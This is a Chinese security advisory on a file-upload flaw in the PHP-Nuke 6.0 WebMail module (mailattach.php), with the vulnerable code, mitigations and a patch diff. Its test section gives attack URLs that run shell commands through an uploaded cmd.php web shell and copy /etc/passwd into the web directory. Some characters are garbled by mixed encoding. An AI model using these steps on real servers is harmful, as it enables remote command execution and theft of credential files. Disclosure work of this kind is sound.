受影響系統(tǒng):
Francisco Burzi PHP-Nuke 6.0
不受影響系統(tǒng):
Francisco Burzi PHP-Nuke 5.5
描述:
--------------------------------------------------------------------------------
PHP-Nuke是一個廣為流行的網(wǎng)站創(chuàng)建和管理工具,它可以使用很多數(shù)據(jù)庫軟件作為后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke 6.0 WebMail模塊的mailattach.php文件上傳存在漏洞,未授權(quán)的遠程攻擊者可以用WEB進程權(quán)限在系統(tǒng)上執(zhí)行任意命令。
mailattach.php的上傳文件代碼:
----------------------8<------------------------------
if (isset($userfile) AND $userfile != "none") {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
----------------------8<------------------------------
mailattach.php沒有檢查上傳文件的擴展名,遠程攻擊者可以上傳包含惡意代碼的文件,以WEB進程權(quán)限在系統(tǒng)上執(zhí)行任意命令。
PHP-Nuke 5.5由于沒有WebMail模塊,所以不存在這個漏洞。
<*來源:Karol Wi?sek (appelast@bsquad.sm.pl)
鏈接:http://lists.netsys.com/pipermail/full-disclosure/2003-January/003583.html
*>
測試方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險自負!
NSFOCUS提供了如下測試方法:
在本地用瀏覽器打開如下html:
然后選擇上傳如下cmd.php程序:
然后就可以用如下的URL執(zhí)行任意命令:
http://phpnuke.org/modules/WebMail/tmp/cmd.php?cmd=id;uname -a
另外一種拷貝系統(tǒng)文件到web目錄方法:
http://phpnuke.org/modules/WebMail/mailattach.php?userfile=/etc/passwd&userfile_name=test.txt&attachments=1
然后訪問如下鏈接就可以得到系統(tǒng)的口令文件,同樣也可以獲得php文件的源碼:
http://phpnuke.org/modules/WebMail/tmp/test.txt
建議:
--------------------------------------------------------------------------------
臨時解決方法:
如果您不能立刻安裝補丁或者升級,NSFOCUS建議您采取以下措施以降低威脅:
* 由于web目錄modules下的文件都是通過modules.php程序調(diào)用的,所以可以禁止web用戶直接訪問,可以修改Apache配置文件,加上如下限制(假設(shè)/web/phpnuke是安裝的絕對路徑):
Deny from all
* mailattach.php程序補丁,適合PHP 4.1.0以上版本:
diff mailattach.php mailattach_fix.php
23,27c23,32
< if (isset($userfile) AND $userfile != "none") {
< if (ini_get(file_uploads) AND $attachments == 1) {
< $updir = "tmp";
< @copy($userfile, "$updir/$userfile_name");
< @unlink($userfile);
---
> if (isset($_FILES['userfile']['tmp_name']) AND $_FILES['userfile']['tmp_name'] != "none") {
> $_FILES['userfile']['name'] = trim($_FILES['userfile']['name']);
>
> if (preg_match("/\.php$/",$_FILES['userfile']['name'])) {
> echo "PHP file cann't upload!";
> exit;
> }
> if (ini_get(file_uploads) AND $_REQUEST['attachments'] == 1) {
> $updir = "tmp/";
廠商補?。?
Francisco Burzi
---------------
目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關(guān)注廠商的主頁以獲取最新版本:
http://www.phpnuke.org